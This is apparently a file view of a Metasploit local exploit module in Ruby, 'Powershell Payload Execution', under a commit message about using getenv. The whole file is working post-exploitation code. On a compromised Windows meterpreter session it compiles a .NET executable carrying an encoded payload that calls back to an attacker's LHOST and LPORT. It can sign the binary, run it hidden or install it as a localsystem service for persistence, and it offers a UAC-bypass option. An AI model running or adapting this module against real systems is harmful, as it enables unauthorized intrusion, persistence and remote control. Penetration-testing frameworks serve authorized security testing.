53557cc92e
expand_path is not implemented consistently across platforms and sessions, which leads to confusing behavior. In places where we have trivial single variable expansions, this changes modules and library code to just use getenv. We'll look at the rest individually to see if they can also be reimplemented in terms of getenv.
188 lines
6.7 KiB
Ruby
188 lines
6.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/post/windows/services'
|
|
require 'msf/core/post/windows/powershell'
|
|
require 'msf/core/exploit/powershell/dot_net'
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::Windows::Services
|
|
include Msf::Post::Windows::Powershell
|
|
include Msf::Post::Windows::Powershell::DotNet
|
|
include Msf::Post::File
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Powershell Payload Execution",
|
|
'Description' => %q{
|
|
This module generates a dynamic executable on the session host using .NET templates.
|
|
Code is pulled from C# templates and impregnated with a payload before being
|
|
sent to a modified PowerShell session with .NET 4 loaded. The compiler builds
|
|
the executable (standard or Windows service) in memory and produces a binary
|
|
which can be started/installed and downloaded for later use. After compilation the
|
|
PoweShell session can also sign the executable if provided a path the a .pfx formatted
|
|
certificate.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'RageLtMan <rageltman[at]sempervictus>', # Module, libs, and powershell-fu
|
|
'Matt "hostess" Andreko' # .NET harness, and requested modifications
|
|
],
|
|
|
|
'Payload' =>
|
|
{
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
|
|
'EncoderOptions' =>
|
|
{
|
|
'BufferRegister' => 'EAX',
|
|
},
|
|
},
|
|
'Platform' => [ 'windows' ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Targets' => [ [ 'Universal', {} ] ],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Aug 14 2012'
|
|
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptBool.new('SVC_GEN', [false, 'Build a Windows service, which defaults to running as localsystem', false ]),
|
|
OptString.new('SVC_NAME', [false, 'Name to use for the Windows Service', 'MsfDynSvc']),
|
|
OptString.new('SVC_DNAME', [false, 'Display Name to use for the Windows Service', 'MsfDynSvc']),
|
|
OptBool.new('START_APP', [false, 'Run EXE/Install Service', true ]),
|
|
OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated executable, default random, omit extension' ]),
|
|
|
|
])
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]),
|
|
OptBool.new('SVC_REMOVE', [false, 'Remove Windows service named SVC_NAME']),
|
|
OptBool.new('BypassUAC', [false, 'Enter credentials to execute envoker in .NET', false]),
|
|
OptString.new('USERNAME', [false, 'Windows username']),
|
|
OptString.new('PASSWORD', [false, 'Windows user password - cleartext']),
|
|
OptString.new('DOMAIN', [false, 'Windows domain or workstation name']),
|
|
|
|
])
|
|
|
|
end
|
|
|
|
def exploit
|
|
|
|
# Make sure we meet the requirements before running the script
|
|
if !(session.type == "meterpreter" || have_powershell?)
|
|
print_error("Incompatible Environment")
|
|
return
|
|
end
|
|
# Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
|
|
if client.sys.config.is_system?
|
|
print_error("Cannot run as system")
|
|
return
|
|
end
|
|
|
|
# End of file marker
|
|
eof = Rex::Text.rand_text_alpha(8)
|
|
env_suffix = Rex::Text.rand_text_alpha(8)
|
|
|
|
com_opts = {}
|
|
com_opts[:net_clr] = 4.0 # Min .NET runtime to load into a PS session
|
|
com_opts[:target] = datastore['OUTPUT_TARGET'] || session.sys.config.getenv('TEMP') + "\\#{ Rex::Text.rand_text_alpha(rand(8)+8) }.exe"
|
|
com_opts[:payload] = payload_script #payload.encoded
|
|
vprint_good com_opts[:payload].length.to_s
|
|
|
|
if datastore['SVC_GEN']
|
|
com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe', 'dot_net_service.cs')
|
|
com_opts[:assemblies] = ['System.ServiceProcess.dll', 'System.Configuration.Install.dll']
|
|
else
|
|
com_opts[:harness] = File.join(Msf::Config.install_root, 'external', 'source', 'psh_exe','dot_net_exe.cs')
|
|
end
|
|
|
|
com_opts[:cert] = datastore['CERT_PATH']
|
|
|
|
if datastore['SVC_REMOVE']
|
|
remove_dyn_service(com_opts[:target])
|
|
return
|
|
end
|
|
vprint_good("Writing to #{com_opts[:target]}")
|
|
|
|
com_script = dot_net_compiler(com_opts)
|
|
ps_out = psh_exec(com_script)
|
|
|
|
if datastore['Powershell::Post::dry_run']
|
|
print_good com_script
|
|
print_error ps_out
|
|
return
|
|
end
|
|
# Check for result
|
|
begin
|
|
size = session.fs.file.stat(com_opts[:target].gsub('\\','\\\\')).size
|
|
vprint_good("File #{com_opts[:target].gsub('\\','\\\\')} found, #{size}kb")
|
|
rescue
|
|
print_error("File #{com_opts[:target].gsub('\\','\\\\')} not found")
|
|
return
|
|
end
|
|
|
|
# Run the harness
|
|
if datastore['START_APP']
|
|
if datastore['SVC_GEN']
|
|
service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], com_opts[:target].gsub('\\','\\\\'), startup=2, server=nil)
|
|
if service_start(datastore['SVC_NAME']).to_i == 0
|
|
vprint_good("Service Started")
|
|
end
|
|
else
|
|
session.sys.process.execute(com_opts[:target].gsub('\\','\\\\'), nil, {'Hidden' => true, 'Channelized' => true})
|
|
end
|
|
end
|
|
|
|
|
|
print_good('Finished!')
|
|
end
|
|
|
|
|
|
# This should be handled by the exploit mixin, right?
|
|
def payload_script
|
|
pay_mod = framework.payloads.create(datastore['PAYLOAD'])
|
|
payload = pay_mod.generate_simple(
|
|
"BadChars" => '',
|
|
"Format" => 'raw',
|
|
"Encoder" => 'x86/alpha_mixed',
|
|
"ForceEncode" => true,
|
|
"Options" =>
|
|
{
|
|
'LHOST' => datastore['LHOST'],
|
|
'LPORT' => datastore['LPORT'],
|
|
'EXITFUNC' => 'thread',
|
|
'BufferRegister' => 'EAX'
|
|
},
|
|
)
|
|
|
|
# To ensure compatibility out payload should be US-ASCII
|
|
return payload.encode('ASCII')
|
|
end
|
|
|
|
# Local service functionality should probably be replaced with upstream Post
|
|
def remove_dyn_service(file_path)
|
|
service_stop(datastore['SVC_NAME'])
|
|
if service_delete(datastore['SVC_NAME'])['GetLastError'] == 0
|
|
vprint_good("Service #{datastore['SVC_NAME']} Removed, deleting #{file_path.gsub('\\','\\\\')}")
|
|
session.fs.file.rm(file_path.gsub('\\','\\\\'))
|
|
else
|
|
print_error("Something went wrong, not deleting #{file_path.gsub('\\','\\\\')}")
|
|
end
|
|
return
|
|
end
|
|
|
|
def install_dyn_service(file_path)
|
|
|
|
service_create(datastore['SVC_NAME'], datastore['SVC_DNAME'], file_path.gsub('\\','\\\\'), startup=2, server=nil)
|
|
if service_start(datastore['SVC_NAME']).to_i == 0
|
|
vprint_good("Service Binary #{file_path} Started")
|
|
end
|
|
end
|
|
end
|